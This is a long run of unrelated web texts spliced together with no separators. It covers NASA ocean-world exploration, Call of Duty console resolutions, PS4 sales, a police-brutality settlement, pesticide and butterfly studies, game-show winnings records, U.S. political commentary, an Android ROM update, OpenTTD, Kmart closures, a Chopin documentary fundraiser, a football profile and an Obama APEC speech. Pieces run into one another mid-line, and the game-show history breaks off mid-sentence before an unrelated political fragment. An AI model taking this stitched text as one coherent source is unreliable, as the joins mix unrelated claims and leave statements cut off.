“Many of NASA’s most exciting discoveries in recent years have been made during the robotic exploration of the outer planets. The Cassini mission has discovered vast oceans of liquid hydrocarbons on Saturn’s moon Titan and a submerged salt water sea on Saturn’s moon Enceladus. The Committee directs NASA to create an Ocean World Exploration Program whose primary goal is to discover extant life on another world using a mix of Discovery, New Frontiers and flagship class missions consistent with the recommendations of current and future Planetary Decadal surveys.”
Returning to Titan and Enceladus would be two of the most exciting missions ever in planetary exploration. These are not just moons, they are worlds, with an incredible diversity of geology in alien yet eerily Earth-like environments. Huygens gave us our first close-up look at Titan. What else will we find when we return?
More information about the Cassini/Huygens mission is available here.
Be sure to “LIKE” AmericaSpace on Facebook and follow us on Instagram & Twitter!Infinity Ward has announced the resolutions of the next-gen versions of Call of Duty: Ghosts.
Confirming previous rumours, the Xbox One version of the upcoming shooter runs natively at 720p. The PlayStation 4 version runs natively at 1080p.
Speaking on Twitter, Infinity Ward executive producer Mark Rubin said the Xbox One version is "upscaled" from 720p to 1080p.
The tweet in full: "Hey, been on the road last couple weeks so haven't had a chance to update, but wanted to confirm that for Xbox One we're 1080p upscaled from 720p. And, we're native 1080p on PS4.
"We optimized each console to hit 60 FPS and the game looks great on both. Still on the road, but glad to see the great reception to Extinction. Can't wait for next week's launch."
The news is a blow to Microsoft, which has battled concern about the power of the Xbox One compared to the PlayStation 4 since the specifications for both consoles were announced, and invested heavily in exclusive Call of Duty DLC. It also appears Infinity Ward failed to meet the performance targets it had hoped to hit at E3 in June, when Rubin told Eurogamer Ghosts would output at 1080p and 60 frames per second on both consoles.Lots of stuff I'm not happy about, yaddayaddayadda (the backgrounnnddd WHAT KIND OF COLOR SCHEME IS THAT *tears hair from scalp*) but I'm pretty sure the contest deadline is in about... one hour and twenty minutes and, ironically, the person depicted is waiting for me so we can go out AND PARTAAAY no, just hang out. So I gotta rush.I'm gonna call that thing jellydragon.This contest entry is gonna double as a birthday present, how awesome is that. 8D I already warned ~ Yuukiko not to check my gallery til I say so. Ohohoh.Whoo, I noted ` MonicaWeasley and I'm in! \o/ Oh, and I decided to tweak it a bit and add the red circle. I really think it's the element the composition was lacking. I hope I wasn't wrong. D:Share. PS4 sales 80 percent higher than PS3. PS4 sales 80 percent higher than PS3.
Earlier this week, Sony announced sales of the PlayStation 4 had passed one million units in the first 24 hours after launch in North America. But according to GameStop, the retailer expects over twice as many people are still waiting to get their hands on the console, according to a report from Bloomberg. A recent conference call had GameStop claiming upcoming PS4 sales of 2.3 million.
According to the same report, launch sales of the PlayStation 4 are already 80 percent higher than the launch of the PlayStation 3. GameStop made the claims during a call with industry analysts on Thursday. Sony stated a portion of the one million PlayStation 4 units sold in the first 24 hours after launch included pre-orders, but it's not immediately clear if GameStop is arriving at the 2.3 million backorder number via actual orders or just prospective sales in general.
On an interesting note, GameStop shares had fallen by "as much as 11 percent" prior to the conference call where the staggering sales projections were made.
Matt Clark is a freelance writer covering the world of videogames, tech, and popular culture. Follow him on Twitter @ClarkMatt and MyIGN at Matt_Clark.Paul Gozaloff has won a $240,000 settlement seven years after accusing five Hollywood officers of brutality and false arrest.
Hollywood city commissioners formally approved the deal Wednesday without comment.
"We are very pleased that the City Commission did the right thing," said Chauncey Cole, attorney for Gozaloff."This is a positive step on the road to reform and justice for victims of police brutality."
Three years ago, Gozaloff filed a federal lawsuit claiming five officers — Joseph Siple, Alexander Chang, Matthew Petty, Travis Schuller and William Cash — attacked him in a "shark-like feeding frenzy" in 2008.
Gozaloff says he did nothing wrong but was jailed on charges of drug possession and obstructing a traffic stop. A judge later tossed out the charges, citing conflicting testimony made by the officers.
Gozaloff, now 54, was putting out campaign signs for then-presidential candidate Rudy Giuliani when he encountered a group of Hollywood cops at a traffic stop.
Gozaloff, who thinks the cops attacked him because they thought he was homeless, says he felt like Rodney King.
His lawsuit also claims Siple planted a baggie of Xanax pills on him.
sbryan@sunsentinel.com or 954-356-4554The link between pollinator problems and neonicotinoids, a group of agricultural pesticides commonly associated with declines in honeybees, continues to build with two new studies published this week.
Butterflies of Northern California join the ranks of honeybees, bumblebees, moths and other organisms that may be feeling the effects of the infamous insecticides. Butterfly species in California’s Central Valley have dipped since the 1990s — around the same time that neonicotinoids were introduced. Matthew Forister of the University of Nevada and his colleagues report August 16 in Biology Letters that those two events may be linked.
Tracking 67 butterfly species at four locations for at least two decades, the researchers found that a decline in the number of species at each site corresponds most closely to increased neonicotinoid use in the area (as opposed to land development, warmer summers or other potential drivers). Individual butterfly species in areas with higher pesticide use experienced the steepest declines. The results line up with a 2015 study of European butterflies that tallied fewer species over a wider range.
Also reported this week, a team of British scientists similarly builds on earlier work in wild bees. Researchers at the University of York mapped population data for 62 wild bee species sprinkled across the United Kingdom along with neonicotinoid treatment in local oilseed rape (Brassica napus) fields over 18 years.
Within species, a population’s odds of going extinct increased with use of the pesticides, the team writes in the August 16 Nature Communications. That goes for both wild bees that forage on oilseed rape, and those that don’t — though populations of known foragers were three times as likely to disappear.
Taken together, the results add some long-term data to the idea that even though wild species aren’t pollinating neonicotinoid-doused crops, the effects of exposure may still appear at the regional and national level.The graphic design on the back of the R2-D2 Droid phone The media dock for the R2-D2 Droid phone The new Star Wars themed wallpaper on the R2-D2 Droid
Geeks and Star Wars fans can soon get a souped-up limited edition of the Droid 2 phone. Verizon Wireless will introduce a R2-D2 Droid phone in a custom box resembling carbonite, a fictional compound in the Star Wars universe. The phone will include features such as themed widgets, media dock and a new app.
The phone will be available online starting September 30. At $250 after a $100 mail-in rebate and with a new two-year contract, the R2-D2 Droid will be more expensive than the regular Droid. The Droid 2 costs $200 with a rebate and a new contract.
The back of the R2-D2 Droid phone has a graphic pattern designed to look like the Astromech Droid from the Star Wars saga. The phone will come pre-loaded with special notification sounds, ringtones and wallpapers.
Other Verizon customers with Android devices running Android 2.1 OS or higher won't entirely be left out. They will be able to download an app from the Android Market called 'The Empire Strikes Back.' The app lets users browse and download Star Wars related content such as trivia and games. '
Verizon introduced the second generation Droid phone in August with a faster 1 GHz processor and Android 2.2 Froyo operating system.
See Also:
Photos: Verizon WirelessIn the future, robots might replace animal testing in screening for environmental toxins.
Chris Austin: We do believe that over the course of the next five to ten years that this approach will refine, reduce, and ultimately replace the number of animals that are used in toxicology testing.
Chris Austin is director of the Chemical Genomics Center for the National Institutes of Health. Austin explained how animals are now used to test some toxins, such as household cleaning products, pesticides and herbicides.
Chris Austin: That process is slow, it’s expensive, it is not necessarily predicative of human toxicity, and it’s become increasingly discouraged by the public.
He said the new method grows cells on small trays. Each tray may have over 1,500 different chambers, each chamber holding just a few cells to be tested. Robots working 24/7 quickly handle and process the information, which translates to whether a chemical might be harmful to a human being.
Chris Austin: So we’re talking about the same number of chemicals that have been tested over the last 20 to 30 years, being tested now in a single day.
Austin said the new process works, and should be widely used in the next few years. That’s good news for those who feel for the plight of animals that undergo testing.
Our thanks to:
Christopher Austin
Director
Chemical Genomics Center
National Institutes of HealthIn the United States, a game show is a type of radio, television, or internet program in which contestants, television personalities or celebrities, sometimes as part of a team, play a game which involves answering trivia questions and/or solving puzzles, usually for money and/or prizes. Game shows are usually distinguishable from reality television competition shows, in which the competition consumes an entire season of episodes; in a game show, prizes can typically be won in a single match (in some cases, particularly in the ones that offer record-setting prizes, contestants can play multiple matches and accumulate a larger total).
Since the genre began, many shows have offered prizes of large sums of money to contestants; Teddy Nadler set the original monetary winnings record of $264,000 during his appearance on The $64,000 Challenge in 1957. Nadler was not surpassed until 1980, when Thom McKee won $312,700 on Tic-Tac-Dough. In 1999, John Carpenter won $1,000,000 on Who Wants to Be a Millionaire, becoming the first person to win a seven-figure prize on an American game show. Since then, many players have gone on to win that amount and even surpassed it. As of 2015, Brad Rutter is the highest-earning American game show contestant of all time, having accumulated a total of $4,555,102. He succeeded Ken Jennings as the highest-earning contestant by virtue of his victory on May 16, 2014, in the Jeopardy! Battle of the Decades tournament.
Daytime game shows [ edit ]
Most daytime game show top prizes were limited to $25,000 during the 1960s and 1970s, a restriction made for both budgetary concerns and to assuage criticism from scandals that arose surrounding prime-time game shows in the 1950s. The single day record for shows in daytime television was set by Michael Larson in 1984, who won $110,237 (equivalent to $266,000 in 2018)[1] on Press Your Luck. Larson achieved his record by memorizing the show's board patterns. He repeatedly hit the board's squares that awarded contestants money and an additional spin. That spin would in turn replace the spin he had just used, effectively allowing him to spin the board in the second round as long as wanted. Because of this, his game had to be split into two episodes (which aired June 8 and June 11, 1984), as his turn caused the game to go well over the show's half-hour allotted time. At the time of the show's airing, CBS only allowed contestants to win up to $50,000 on a game show (contestants would retire after winning $25,000); the winnings limit increased to $75,000 in November of that year, and would increase to $100,000 (and later $125,000) before being eliminated in 2006. In 2003, Game Show Network produced a documentary about the event.[2]
In 2006, Larson was succeeded by Vickyann Chrobak-Sadowski, who set the record by winning $147,517 (equivalent to $183,000 in 2018)[1] on the 35th season premiere of The Price Is Right in 2006.[3] Chrobak-Sadowski's record was later broken by Sheree Heil from her appearance on The Price Is Right in 2013. She won $170,345 in cash and prizes on the episode that aired December 30, 2013, including an Audi R8 won in the pricing game "Gas Money", $10,000 cash, and Prada shoes.[3][4][5]
On the October 28, 2016 episode of The Price Is Right, which aired during Big Money Week, Christen Freeman won $210,000 in cash during a playing of Cliff Hangers.[6] During the episode, game rules were modified to offer a top prize of $250,000, which was reduced by $10,000 for every step the mountain climber took. In addition to her One Bid prize and an additional $1,000 won during the Showcase Showdown, Freeman's grand total was $212,879 (equivalent to $222,000 in 2018)[1], setting a new daytime record.[7]
Overall winnings record [ edit ]
Twenty One host Jack Barry (center) with contestant Charles Van Doren (right) and fellow contestant Vivienne Nearing (left) host Jack Barrywith contestant Charles Van Dorenand fellow contestant Vivienne Nearing
While the 1950s had multiple big winners (Herb Stempel and Charles Van Doren of Twenty One being two of the most notable),[8][9] Teddy Nadler set the overall record during the 1956–57 television season, who set a record that would stand for the next two decades by winning $264,000 (equivalent to $2,433,000 in 2018)[1] on The $64,000 Challenge.[10] The quiz show scandals of 1958 and 1959 prompted the cancellation of most of the big-budget game shows and the imposition of strict limits on prize amounts, which meant that through the 1960s and 1970s, game show contestants could not match their 1950s counterparts.
It was not until 1980 that Nadler's record fell. During the summer of that year, a U.S. Naval officer named Thom McKee began a run on Tic-Tac-Dough that carried over into the following season. Since champions on Tic Tac Dough played until they were defeated, and games on the show could end in ties with the pot carrying over, McKee was able to keep building his total as long as he kept playing and winning. McKee won $312,700 (equivalent to $951,000 in 2018)[1] in cash and prizes in 43 games, which included eight cars (on Tic Tac Dough and its sister show, The Joker's Wild, a contestant automatically won a car after every fifth game they won).[11]
While McKee was the biggest solo winner until 1999, nine couples on The $1,000,000 Chance of a Lifetime won the show's top prize of $1,000,000 (equivalent to $2,205,000 in 2018),[1] in a combination of prizes and a long-term annuity, during the show's run in syndication from January 1986 to September 1987.[12] However, this program had no solo players.
1999–2004: The million-dollar game show boom [ edit ]
In 1999, McKee was passed by Michael Shutterly, who was the biggest winner in the first season of Who Wants to Be a Millionaire in the United States. Shutterly was the first contestant on the show to get to the 15th and final question, but elected to walk instead with $500,000 (equivalent to $752,000 in 2018),[1] which made him the biggest winner in American game show history at the time. Shutterly had previously won $49,200 as a 4 day champion on Jeopardy! in 1988, making his career winnings total $549,200. [13]
During the second season of Millionaire in the United States, the show crowned its first million-dollar winner. On November 19, 1999, John Carpenter won the show's top prize without using any lifelines, save for a phone call on the final question to tell his father he was going to win the million dollars. After Carpenter answered the final question, which concerned Richard Nixon's appearance on Laugh-In in 1968,[14] host Regis Philbin proclaimed Carpenter the show's (and worldwide format's) first top prize winner.
Carpenter's record remained intact until the following year. In early 2000, Rahim Oberholtzer, a contestant on the revival of Twenty One, won four games in his appearances on the show, along with $120,000 in the show's "Perfect 21" bonus round, for a total of $1,120,000.[15] For surpassing Carpenter's mark, host Maury Povich proclaimed Oberholtzer "the TV Game Show King."[16]
Late in its run, the Fox show Greed brought back some of its previous winners to try for an extra $1,000,000. Curtis Warren, who was part of the first team to win $1,000,000 on the show (of which his share was $400,000, plus $10,000 for winning a terminator round), was one of the contestants brought back to do so on February 11, 2000.[17] Warren was given a question about TV shows that had been made into movies, with eight choices (of which he had to identify the four correct answers). He successfully did so, giving himself $1,410,000 (equivalent to $2,051,000 in 2018)[1] and the record for the time being.[17]
Warren's record was even shorter lived than Oberholtzer's had been, lasting only four days. Three days before Warren's win, David Legler, who also appeared on NBC's Twenty One, began a run as champion on the show. Four days after Warren's win, the run continued, with Legler having earned a grand total of $1,765,000 (equivalent to $2,568,000 in 2018)[1] in six wins to surpass Warren's record and become the third contestant in two months to top $1,000,000 on a game show.[18]
Legler held the record for well over |
thumbs down to record his vote. He then storms out of the chamber, as Cornyn raises his arms in mild protest.
@ddayen Check the video, clearly a spiteful act, but I’ll take it????pic.twitter.com/smgaDPmxI8 — 19th Of Brumaire (@delmoi) May 10, 2017
Susan Collins is a straight-up NeverTrumper.
I will not be voting for Donald Trump for president. This is not a decision I make lightly, for I am a lifelong Republican. But Donald Trump does not reflect historical Republican values nor the inclusive approach to governing that is critical to healing the divisions in our country
President Trump won because he reflected the real and reasonable economic concerns of the voting public. These Three Stooges have made Trump’s America-first energy policies substantially more difficult to implement.
I have a clip of their post-vote get together:
.Hey all, few notes first.I'm still working on/considering the suggestions you made, the update i'm going to post now is not final and there will be another one soon with more features, explanation below.Translators: i apologize if i couldn't reply back to you but i'm very busy atm. Also i agreed to start adding translations only if they didn't take too much off my development time and if i didn't have to hold your hands too much. Lately i'm receiving too many requests so i'm letting you know that i will process them all but it will take time.As some of you already know i had some days of downtime due to upgrading my work station.Now can finally build the whole framework in less then ten minutes, down from 40(!).With the new gained speed i can experiment some new cool things without gettin old.As you see in the changelog i've added custom DPI and custom Locale.These features are very deeply integrated, they're not such a big deal and wasn't hard to implement them despite some roms made their fortune over them.But my real goal is to make them efficient and bugfree. Due to the nature of these changes i've decided to release an update to have some feedbacks before keep going on this route.This update is considered alpha and is aimed to experienced people and shouldn't be considered as DD. That's why the link won't be public and won't update the OP.People who don't use mods/themes, who understand what custom DPI is, who won't post things like "My coffee machine isn't working after i've installed this update" are the ones who should install this update.Other people should wait for the "official" one.I will keep the right to strip these features off if they are proved to cause any kind of issues.Themers: please avoid theming this alpha update.Needless to say that a Nandroid backup is mandatory.edit: also received my NFC tags from Amazon so i could finally test the NFC features instead of coding them blindly. I've fixed the screen on locked behavior who wasn't working as intended.Posted by frosch
6 years. What were you doing 6 years ago?
In March 2004 OpenTTD 0.1 was released. Hardly a month later in April 2004 OpenTTD 0.2. And today, six years later... OpenTTD 1.0.0. It was a lot of work, hundreds of thousands of translations, tens of thousands of commits, thousands of graphics, hundreds of patches, dozen of sounds and musics, and one goal. How many people contributed? Dozen of artists, translators and developers, hundreds of testers and bug reporters, and also the thousands of players. Looking at the readmes and credit sections only gives a small hint. Some of those who were main contributors left long ago, and there are only a few who know them all and talked to them once via IRC or the forums. But if you consider all contributors, including those of the used libraries, and the external artists of OpenSFX... Well, then most likely not every contributor actually knows OpenTTD :)
So in the end, what was most fun in the past 6 years of OpenTTD? Playing? Contributing? Modding? Talking? Or just taking part in a large crowed moving in one direction? One direction? Well, at least in bigger scope :) But in more detail there were quite some parties involved in the process. Sometimes pulling in the same direction, sometimes maybe pulling in slightly different ones. Let's just mention some of the projects around OpenTTD which influenced it in this or that direction: The various integrated builds and patchpacks, first of all the MiniIN. Then the first Town Growth Challenge, TTDPatch, #openttdcoop, Goal Servers and the big patches (Subsidiaries, YAPF, YAPP, CargoDist, 32bpp & ExtraZoom). And not everything which made it into main trunk was happy sunshine, just to mention the first approach to Path Based Signalling, or the attempts around the AI.
But when looking back, most turned out fun. Thank you!Donald Trump has not won a majority of the vote in any state he’s won. Ted Cruz has done it twice, in Wyoming and Utah.
Trump’s enormous unpopularity with the majority of voters is a telling indicator that he simply cannot win a general election. With his constant attacks on women, whether they be Megyn Kelly, Carly Fiorina, or Heidi Cruz, Trump’s paltry appeal among women cripples him even further.
As expert mathematician Nate Silver pointed out on Friday, if women sour on Trump, the results of his efforts in the general election would look like this:
Exclusive @FiveThirtyEight projection on what the Electoral College would look like if women refuse to vote Trump. pic.twitter.com/kmjxmjnY1l — Nate Silver (@NateSilver538) March 24, 2016
For all of Trump’s talk of winning; he only has won consistently when he was facing a plethora of candidates. In one on one matchups with Ted Cruz or Hillary Clinton, polls show he loses.
Silver also offered a projection of how one-sided a prospective Hillary Clinton-Trump matchup would be, asserting Clinton would win 374 electoral votes and Trump would win 164.CLOSE Kmart is closing 64 stores across 28 states and firing thousands of employees. Video by Time
Kmart plans to close another 64 stores. (Photo11: Tasos Katopodis, Getty Images)
Kmart is closing another 64 stores in the United States as the retailer continues to struggle with declining sales.
The stores will begin liquidation sales on Sept. 22 and will close down by mid--December, a person familiar with the matter said late Monday.
Here is a list of the stores closing, as first reported by Business Insider:
Alabama
Kmart #3359: Gardendale, AL
Kmart #9571: Cullman, AL
Arizona
Kmart #3695: Sierra Vista, AZ
Arkansas
Kmart #7356: Jonesboro, AR
Kmart #9623: Springdale, AR
California
Kmart #7551: Indio, CA
Kmart #7587: Fontana, CA
Kmart #7625: Los Angeles, CA
Colorado
Kmart #4917: Thornton, CO
Kmart #7560: Craig, CO
Florida
Kmart #3355: Panama City, FL
Georgia
Kmart #4135: Augusta, GA
Hawaii
Kmart #7478: Waipahu, HI
Indiana
Kmart #3180: Merrillville, IN
Kmart #3556: Elkhart, IN
Kmart #7775: Lafayette, IN
Illinois
Kmart #3241: Springfield, IL
Kmart #3328: New Lenox, IL
Kmart #3594: Chicago, IL
Kmart #4095: Joliet, IL
Kmart #4781: Macomb, IL
Kmart #4984: Tinley Park, IL
Kentucky
Kmart #7174: Pikeville, KY
Louisiana
Kmart #3320: Houma, LA
Kmart #7061: New Iberia, LA
Massachusetts
Kmart #9146: Great Barrington, MA
Michigan
Kmart #4066: Jackson, MI
Kmart #4700: Fenton, MI
Kmart #4845: Manistee, MI
Kmart #4851: Byron Center, MI
Kmart #7205: Grand Rapids, MI
Kmart #7733: Alpena, MI
Kmart #9586: Sault Saint Marie, MI
Minnesota
Kmart #7216: Moorhead, MN
Kmart #9397: West Saint Paul, MN
Mississippi
Kmart #7642: Natchez, MS
Nebraska
Kmart #3814: Kearney, NE
Kmart #7024: Scottsbluff, NE
New Mexico
Kmart #7755: Deming, NM
New York
Kmart #3521: Binghamton, NY
Kmart #4176: Cheektowaga, NY
North Carolina
Kmart #4961: Burlington, NC
Kmart #9129: Mount Airy, NC
Oklahoma
Kmart #3044: Lawton, OK
Ohio
Kmart #4175: Canton, OH
Kmart #4910: Mentor, OH
Pennsylvania
Kmart #4772: Burnham, PA
South Dakota
Kmart #7306: Sioux Falls, SD
Tennessee
Kmart #3644: Nashville, TN
Kmart #4717: Oak Ridge, TN
Kmart #4739: Clarksville, TN
Kmart #4970: Memphis, TN
Kmart #7718: Hixson, TN
Kmart #9728: Smyrna, TN
Texas
Kmart #4972: Lubbock, TX
Kmart #7077: Harlingen, TX
Kmart #7795: Abilene, TX
Utah
Kmart #4162: Salt Lake City, UT
Kmart #7412: West Valley City, UT
Virginia
Kmart #3706: Wytheville, VA
Kmart #3754: Martinsville, VA
Washington
Kmart #4439: Yakima, WA
Wyoming
Kmart #4837: Riverton, WY
Kmart #9751: Cody, WY
List of 78 other stores Sears and Kmart closed this summer:
Read or Share this story: http://usat.ly/2cA5vArWHAT WE'RE DOING-THE CONCEPT AND HISTORY We are asking you to help us raise $50,000 with this Kickstarter project in time for us to travel this June to film Chopin’s Europe – Poland, France, and Majorca, Spain.
REMEMBERING FREDERIC is the culminating project of this past year’s 2010 celebration of the 200th birthday of Frederic Chopin. What began for me in 2006 as a trip to Poland searching for my family’s heritage (finding my Grandfather’s birthplace in Zyrardow) as well as my pianistic heritage (seeking Chopin’s music in Warsaw) now comes to fruition 5 years later.
This film is a one-hour, 3-country documentary that not only features the important places in Chopin’s life, but ties together footage of my performances of his music in Poland and France, mini-lessons about the music, and interviews with Polish and French musicians and non-musicians about the meaning of Chopin in their lives and culture. REMEMBERING FREDERIC creates a full context for understanding Chopin as a real person.
WHO WE ARE - CAST AND CREW FREDERIC CHOPIN - Beloved Genius Composer (1810-1849) PAMELA HOWLAND - Pianist, interviewer, researcher with an unusual vision www.pamelahowland.com ROSEMARY HARRIS – Emmy-Award winning actress and our narrator. Although Ms. Harris is known to most Americans as “Aunt May” in the blockbuster SPIDERMAN films, she won an Emmy award in 1975 for her phenomenal portrayal of George Sand in the PBS Masterpiece Theatre Series, "NOTORIOUS WOMAN." This beautiful and heartbreaking portrayal of Sand’s relationship with Chopin completely transformed my love for and understanding of Chopin as an 18-year old music student. It is a major highlight of my career to work with Rosemary on this project. STONE’S THROW FILMS, Inc. – Filmmakers of extraordinary talent from the Unversity of North Carolina School of the Arts School of Film, Winston-Salem, NC DANIEL MCKINNY – Director; LAURA HART MCKINNY – Writer/Producer; JOHN LEBLANC – Director of Photography www.stonesthrowfilmsnc.com
WHY WE'RE DOING THIS - THE MISSION I want to transport classical music out of the concert halls and into the real world - into the lives of new 21st century audiences. Traditionally, classical musicians have been more interested in preserving old traditions and rules rather than drawing in new audiences through innovative and creative means. I am convinced that utilizing film - the very combination of MUSIC and STORYTELLING - to preserve, enhance, and bring Chopin’s music to life will open the door to both younger audiences who have yet to experience his music, and those who have felt intimidated by the traditional classical music approach. This film is an INVITATION into the visual and musical world of Frédéric Chopin. It is for everyone – no special training or education required – just an open heart.
FAQs
1. How does this Kickstarter thing actually work? I just made a donation to someone else’s project and it COULDN’T BE EASIER. Here’s what you do: Go to my Kickstarter page and click on the green “BACK THIS PROJECT” button. You will be shown the rewards available, and then you decide and click on the amount you want to pledge. This will take you right to the AMAZON site, which is the company that will store your information until the project is fully funded. So, this is as easy as ordering anything else from AMAZON – except that they WILL NOT charge your credit card until April 1st (IF the $50,000 goal has been reached). After you pledge, you will get a confirmation email right away.
2. What happens if the $50,000 isn’t raised by April 1st? Unfortunately, NOTHING. The way Kickstarter works is if our goal isn’t fully met by April 1st – the film gets NO funding; no money changes hands and no movie is made.
3. Can I increase my pledge once its been made? YES! Once you make a pledge, you can change your reward to a different one or increase your amount. To do so, go back to KICKSTARTER and you will see that the green BACK THIS PROJECT button has been replaced by a blue MANAGE YOUR DONATION button. Click it and you can enter a new amount, or choose a new reward.
4. Can we exceed the $50,000 goal? ABSOLUTELY and we would be delighted! If that should happen, Kickstarter will allow us to raise as much money as can be given before April 1st. Any additional funds raised will be used directly in this project. (see question 8 below)
5. If I donate, when do I get my REWARDS? All REWARDS will happen only if our goal is met. At that time, all pledges under $25 will be sent (thank-yous, and Pam’s Chopin CDs), and studio tours, concert dates, etc. will be booked. The actual DVDs and tickets for the Premiere will go out shortly before the premiere screening, and we will stay in touch to give you the dates as soon as possible.
6. Can I give a REWARD as a GIFT for someone else? BRILLIANT IDEA! You can even do your Christmas shopping – all online – and have it all done by April 1st if you want! To make a gift of a reward for someone else, you will go through the same process as making a donation in your name. For billing purposes, the transaction will be in your name (just like gift-shopping on Amazon). After April 1st, we will contact you to obtain the name/address of the person receiving your gift.
7. Who does this money actually go to? Every penny will go directly to the REMEMBERING FREDERIC film budget, which I am in charge of, as executive producer. ALL of the money raised goes to pay for travel, equipment fees, living expenses for crew, etc. No one is pocketing any of this money!
8. $50,000 seems like a low amount for a documentary film. Is it? YES, in fact, it is not the entire cost of the film. But, in addition to putting in significant sums of our own money, so far we have already received 3 small faculty development grants from the University of NC SCHOOL OF THE ARTS, and generous $9,000 permission to borrow the camera equipment. We are also pursuing other grant and school funding.
9. What is the filmmaking timetable and when is the premiere screening of REMEMBERING FREDERIC? We are in Pre-Production right now – the Production/Travel phase will be from roughly June 4-18, Post-Production will be 6-8 weeks after that this summer, and the screening should be in Winston-Salem, NC in the fall. Once we meet our financial goal we will be much more able to give you an exact date. We promise to give you AS MUCH NOTICE as possible so that you can plan to attend this exciting event!Marcus Mariota's most impressive attribute through one NFL season has been the nonchalant recognition by teammates and coaches that the Tennessee Titans already boast a bona fide franchise quarterback and special talent as the face of the organization.
Appearing on Friday's edition of Inside Training Camp Live with Charley Casserly and Rhett Lewis, new Titans running back DeMarco Murray was asked about his first impression of Mariota.
"I just think it's his release," Murray said. "His release is by far the fastest I've ever seen."
It's high praise considering Murray played with Tony Romo, owner of a trigger timed at 0.26 seconds versus Dan Marino's gold standard of 0.30 seconds. Mariota's release already rivals those of Romo, Aaron Rodgers and perhaps even Patriots stand-in Jimmy Garoppolo on the lightning-flash scale.
Beyond the streamlined passing mechanics, Mariota has impressed with his pinpoint accuracy on short and intermediate passes, nimble footwork reminiscent of Joe Montana and Jake Plummer, natural football instincts and preternatural poise.
Murray added that the Titans' second-year star is the hardest-working quarterback he has been around, echoing Pro Bowl defensive end Jurrell Casey's offseason assessment that Mariota is the "definition of a true leader."
Spend a few days in Titans camp and you will hear players and coaches casually reference Mariota's greatness. If he can stay healthy, his rare talent and requisite intangibles will be the rising tide that lifts all boats in Nashville.Beijing, China
4:51 P.M. CST
PRESIDENT OBAMA: Thank you so much. Xiàwǔ hǎo. (Applause.) Thank you, Andrew, for that introduction. I have had the pleasure of getting to know Andrew very well these past few years. We have worked him hard –- he helped my administration with strategies for growing high-tech manufacturing to hiring more long-term unemployed. He’s just as good at corporate citizenship as he is at running a corporation. Later I’ll visit Brisbane, where I know Andrew spent some of his youth. I’m sure he’s got some suggestions for fun there, but not necessarily things that a President can do. (Laughter.) We don’t know how he spent his youth, but I’m sure he had some fun.
It is wonderful to be back in China, and I’m grateful for the Chinese people’s extraordinary hospitality. This is my sixth trip to Asia as President, and my second this year alone. And that’s because, as I’ve said on each of my visits, America is a thoroughly Pacific nation. We’ve always had a history with Asia. And our future -- our security and our prosperity -- is inextricably intertwined with Asia. I know the business leaders in attendance today agree.
I’ve now had the privilege to address the APEC CEO summit in Singapore, in Yokohama, and in my original hometown of Honolulu, now in Beijing. And I think it’s safe to say that few global forums are watched more closely by the business community. There’s a good reason for that. Taken together, APEC economies account for about 40 percent of the world’s population, and nearly 60 percent of its GDP. That means we’re home to nearly three billion customers, and three-fifths of the global economy.
And over the next five years, nearly half of all economic growth outside the United States is projected to come from right here, in Asia. That makes this region an incredible opportunity for creating jobs and economic growth in the United States. And any serious leader in America, whether in politics or in commerce, recognizes that fact.
Now the last time I addressed this CEO summit was three years ago. Today, I’ve come back at a moment when, around the world, the United States is leading from a position of strength. This year, of course, has seen its share of turmoil and uncertainty. But whether it’s our fight to degrade and destroy the terrorist network known as ISIL, or to contain and combat the Ebola epidemic in West Africa, the one constant –- the one global necessity –- is and has been American leadership.
And that leadership in the world is backed by the renewed strength of our economy at home. Today, our businesses have created 10.6 million jobs over the longest uninterrupted stretch of job growth in American history. We’re on pace for the best year of job growth since the 1990s. Since we started creating jobs again, the U.S. has put more people back to work than Europe, Japan, and every other advanced economy combined.
And when you factor in what’s happening in our broader economy –- a manufacturing sector that as Andrew said is growing now at a rapid pace; graduation rates that are rising; deficits that have shrunk by two-thirds; health care inflation at 50-year lows; and an energy boom at new highs –- when you put all this together, what you get is an American economy that is primed for steadier, more sustained growth, and better poised to lead and succeed in the 21st century than just about any other nation on Earth.
And you don’t have to take our word for it –- take yours. For two years in a row, business executives like all of you have said that the world's most attractive place to invest is the United States. And we're going to go for a three-peat. We're going to try to make it the same this year.
But despite the responsibilities of American leadership around the world, despite our attention to getting our economy growing, there should be no doubt that the United States of America remains entirely committed when it comes to Asia. America is a Pacific power, and we are leading to promote shared security and shared economic growth this century, just as we did in the last.
In fact, one of my core messages throughout this trip -- from APEC to the East Asia Summit to the G20 in Australia -- is that working together we need growth that is balanced, growth that is strong, growth that is sustainable, and growth where prosperity is shared by everybody who is willing to work hard.
As President of the United States I make no apologies for doing whatever I can to bring new jobs and new industries to America. But I've always said, in the 21st century, the pursuit of economic growth, job creation and trade is not a zero-sum game. One country's prosperity doesn't have to come at the expense of another. If we work together and act together, strengthening the economic ties between our nations will benefit all of our nations. That's true for the nations of APEC, and I believe it's particularly true for the relationship between the United States and China. (Applause.)
I've had the pleasure of hosting President Xi twice in the United States. The last time we met, in California, he pointed out that the Pacific Ocean is big enough for both of our nations. And I agree. The United States welcomes the rise of a prosperous, peaceful and stable China. I want to repeat that. (Applause.) I want to repeat that: We welcome the rise of a prosperous, peaceful and stable China.
In fact, over recent decades the United States has worked to help integrate China into the global economy -- not only because it's in China's best interest, but because it's in America's best interest, and the world's best interest. We want China to do well. (Applause.)
We compete for business, but we also seek to cooperate on a broad range of shared challenges and shared opportunities. Whether it's stopping the spread of Ebola, or preventing nuclear -- preventing nuclear proliferation, or deepening our clean energy partnership, combating climate change, a leadership role that, as the world's two largest economies and two largest carbon emitters, we have a special responsibility to embrace.
If China and the United States can work together, the world benefits. And that's something this audience is acutely interested in. (Applause.) We continually have to work to strengthen the bilateral trade and investment between our two nations. America's first trade mission visited China just a year after America's revolution ended. Two hundred and thirty years later, we are the two largest economies in the world.
And the trade and investment relationship we have benefits both of our countries. China is our fastest growing export market. Chinese direct investment in the United States has risen six-fold over the past five years. Chinese firms directly employ a rapidly growing number of Americans. And all these things mean jobs for the American people; and deepening these ties will mean more jobs and opportunity for both of our peoples.
And that's why I'm very pleased to announce that during my visit the United States and China have agreed to implement a new arrangement for visas that will benefit everyone from students, to tourists, to businesses large and small. Under the current arrangement, visas between our two countries last for only one year. Under the new arrangement, student and exchange visas will be extended to five years; business and tourist visas will be extended to 10 years. (Applause.)
Now, of course, that will be good for the businessmen who are going back and forth all the time. But keep in mind, last year, 1.8 million Chinese visitors to the United States contributed $21 billion to our economy and supported more than 100,000 American jobs. This agreement could help us more than quadruple those numbers.
